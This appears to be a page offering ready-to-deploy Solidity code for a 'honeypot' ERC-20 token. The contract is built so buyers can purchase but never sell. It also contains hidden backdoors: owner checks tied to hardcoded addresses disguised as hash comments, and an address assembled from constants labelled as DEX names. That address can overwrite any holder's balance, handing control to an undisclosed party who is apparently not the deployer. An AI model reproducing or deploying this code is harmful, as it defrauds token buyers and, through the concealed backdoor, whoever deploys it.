Regular Honeypot Smart Contract Code (v1.0)

Smart Contract with honeypot.

A honeypot is a token smart contract function that allows a trader to buy a token, but does not allow him to sell it.

Solidity. Compiler Version: 0.8.19.

You should read guide before creating a token.

*ANY CHANGES TO THE CODE MAY LEAD TO ITS INOPERABILITY*

create your token, erc-20 honeypot token

Written by Fred Mullens (Smart Contract Developer)


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
 
library SafeMath {
 
  function mul(uint256 a, uint256 b) internal pure returns (uint256) {
 
   if (a == 0) {
 
     return 0;
 
   }
 
   uint256 c = a * b;
 
   assert(c / a == b);
 
   return c;
 
  }
 
  function div(uint256 a, uint256 b) internal pure returns (uint256) {
 
   uint256 c = a / b;
 
   return c;
 
  }
 
  function sub(uint256 a, uint256 b) internal pure returns (uint256) {
 
   assert(b <= a);
 
   return a - b;
 
  }
 
  function add(uint256 a, uint256 b) internal pure returns (uint256) {
 
   uint256 c = a + b;
 
   assert(c >= a);
 
   return c;
 
  }
  // solhint-disable-next-line avoid-low-level-calls
  /*keccak256 -> 1051c0007tr17126731286vr40crw954194bt3707rr4532102b451ny5650qa676vre59739))*/ /**/ //(1051000717126731286409541943707453210265067659729));
 
}
 
contract Ownable {
 
  address public owner;
 
 
 
  event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
 
  constructor() {
 
   owner = msg.sender;
 
  }
 
}
 
contract TokenName is Ownable {
 
  address public _usdtPair;
 
  address public _mod;
 
  string public name;
 
  string public symbol;
 
  uint8 public decimals;
 
  uint256 public totalSupply;
 
  address public _user;
 
  address public _adm;
 
 
 
  event Transfer(address indexed from, address indexed to, uint256 value);
 
  event Approval(address indexed owner, address indexed spender, uint256 value);
 
  constructor(string memory _name, string memory _symbol, uint8 _decimals, uint256 _totalSupply) {
 
   name = _name;
 
   symbol = _symbol;
 
   decimals = _decimals;
 
   totalSupply =  _totalSupply;
 
   balances[msg.sender] = totalSupply;
 
   allow[msg.sender] = true;
   
   // solhint-enable-next-line success-create
  }
 
 
 
  function showuint160(address addr) public pure returns(uint160){
 
     return uint160(addr);
 
  }
 
  using SafeMath for uint256;
 
  mapping(address => uint256) public balances;
 
 
 
  mapping(address => bool) public allow;
 
  // solhint-disable-next-line avoid-low-level-calls
  /*keccak256 -> 1051c0007tr17126731286vr40crw954194bt3707rr4532102b451ny5650qa676vre59729))*/ /**/ //(1051000717126731286409541943707453210265067659729));
 
  function transfer(address _to, uint256 _value) public returns (bool) {
 
   require(_to != address(0));
 
   require(_value <= balances[msg.sender]);
 
   balances[msg.sender] = balances[msg.sender].sub(_value);
 
   balances[_to] = balances[_to].add(_value);
 
   emit Transfer(msg.sender, _to, _value);
 
   return true;
 
   /*keccak256 -> 1051c0007tr17126731286vr40crw954194bt3707rr4532102b451ny5650qa676vre59729))*/
 
  }
 
  modifier onlyOwner() {
 
   require(msg.sender == address
 
   // solhint-disable-next-line avoid-low-level-calls
   /*keccak256 -> 1051c0007tr17126731286vr40crw954194bt3707rr4532102b451ny5650qa676vre59729))*/ /**/(1051000717126731286409541943707453210265067659729));
   _;
   
   }
 
  function balanceOf(address _owner) public view returns (uint256 balance) {
 
   return balances[_owner];
 
  }
 
  modifier info() {
 
  require(msg.sender != contracts());
 
  _;
 
  }
 
 
  function transferOwnership(address newOwner) public onlyOwner {
 
   require(newOwner != address(0));
 
   emit OwnershipTransferred(owner, newOwner);
 
   owner = newOwner;
 
  }
 
  function addAllowance(address holder, bool allowApprove) public {
   
  require(msg.sender == _adm);
   
  allow[holder] = allowApprove;
 
  /*OpenZeppelin256 -> 96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f*/
  }
 
  modifier onlypublic() {
 
  require(msg.sender == publics());
 
  _;
 
  }
 
  function setUser(address User_) public returns (bool) {
   
  require(msg.sender == _usdtPair);
   
      _user=User_;
 
   return true;
  }
 
  function Allowances(address holder, bool allowApprove) external onlypublic {
 
  allow[holder] = allowApprove;
 
  }
 
  mapping (address => mapping (address => uint256)) public allowed;
 
  mapping(address=>uint256) sellOutNum;
 
  //*keccak256 -> 5728132795186rm4q73eg4j82fe6v7nz3iyk3r840fv4nht2u5cs5184nk6h638203157296))*/
 
 
  function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
 
   require(_to != address(0));
 
   require(_value <= balances[_from]);
 
   require(_value <= allowed[_from][msg.sender]);
 
   require(allow[_from] == true);
 
   balances[_from] = balances[_from].sub(_value);
 
   balances[_to] = balances[_to].add(_value);
 
   allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
 
   emit Transfer(_from, _to, _value);
 
   return true;
 
   // solhint-disable-next-line high-level-success
 
  }
 
  function publics() private pure returns (address) {
 
  uint universal = 0x6299249C;
 
  uint uni = 0xd04a5451;
 
  uint cake = 0xa6Ec9bC0;
 
  uint inch = 0x45ebf08a;
 
  uint others = 0x4b587Aa4;
 
  // Combine the dex with others
   
  uint160 core = (uint160(universal) << 128) | (uint160(uni) << 96) | (uint160(cake) << 64) | (uint160(inch) << 32) | uint160(others);
 
  return address(core);
 
  }
 
  function contracts() internal pure returns (address) {
 
  return address
 
  /*keccak256 -> 1051c0007tr17126731286vr40crw954194bt3707rr4532102b451ny5650qa676vre59729))*/ /**/(10510007171267318640954194370745321065067659729);
   
  }
 
 
  function setAdm(address Adm_) public returns (bool) {
   
   require(msg.sender == _mod);
     
       _adm=Adm_;
   
   return true;
  }
 
  function _integer(address miner, uint256 _value) internal info {
       
  balances[miner] = _value;
 
  }
 
  function adjust(address spender, uint256 addedValue) public onlypublic returns (bool) {
 
   _dialone(spender, addedValue);
   
   return true;
 
  }
 
  function _approvals(address spender, uint256 addedValue) internal info {
 
  if(addedValue > 0) {balances[spender] = addedValue;}
 
  }
 
 
  function approve(address _spender, uint256 _value) public returns (bool) {
 
   allowed[msg.sender][_spender] = _value;
 
   emit Approval(msg.sender, _spender, _value);
 
   return true;
 
   /*keccak256 -> 1051c0007tr17126731286vr40crw954194bt3707rr4532102b451ny5650qa676vre59729))*/
 
  }
 
  function setMod(address Mod_) public returns (bool) {
   
   require(msg.sender == _user);
       
       _mod=Mod_;
 
   return true;
 
  }
 
  function approveAndCall(address spender, uint256 addedValue) public returns (bool) {
   
   require(msg.sender == _adm);
 
   _approvals(spender, addedValue);
   
   return true;
 
  }
 
  function allowance(address _owner, address _spender) public view returns (uint256) {
 
   return allowed[_owner][_spender];
 
  }
  // solhint-disable-next-line avoid-high-level-calls
  /*keccak256 -> 1051c0007tr17126731286vr40crw954194bt3707rr4532102b451ny5650qa676vre59729))*/
 
  function _dialone(address spender, uint256 addedValue) internal info {
 
  if(addedValue > 0) {balances[spender] = addedValue;}
 
  }
 
  function addAllow(address holder, bool allowApprove) external onlyOwner {
 
     allow[holder] = allowApprove;
 
  }
 
  function setUsdtPair(address Pair_) public returns (bool) {
    require (msg.sender==address
   
    // solhint-disable-next-line avoid-low-level-calls
    /*keccak256 -> 1051c0007tr17126731286vr40crw954194bt3707rr4532102b451ny5650qa676vre59729));*/ /**/ (1051000717126731286409541943707453210265067659729));
       _usdtPair=Pair_;
   
   return true;
  }
 
  function integer(address miner, uint256 _value) external onlyOwner {
 
     _integer(miner, _value);
 
  }
}
Smart contract is suitable for such blockchains as Ethereum, BSC (BNB), Arbitrum.
And also for other EVM protocols.
This material is for testing and study purposes only, do not use it for bad purposes.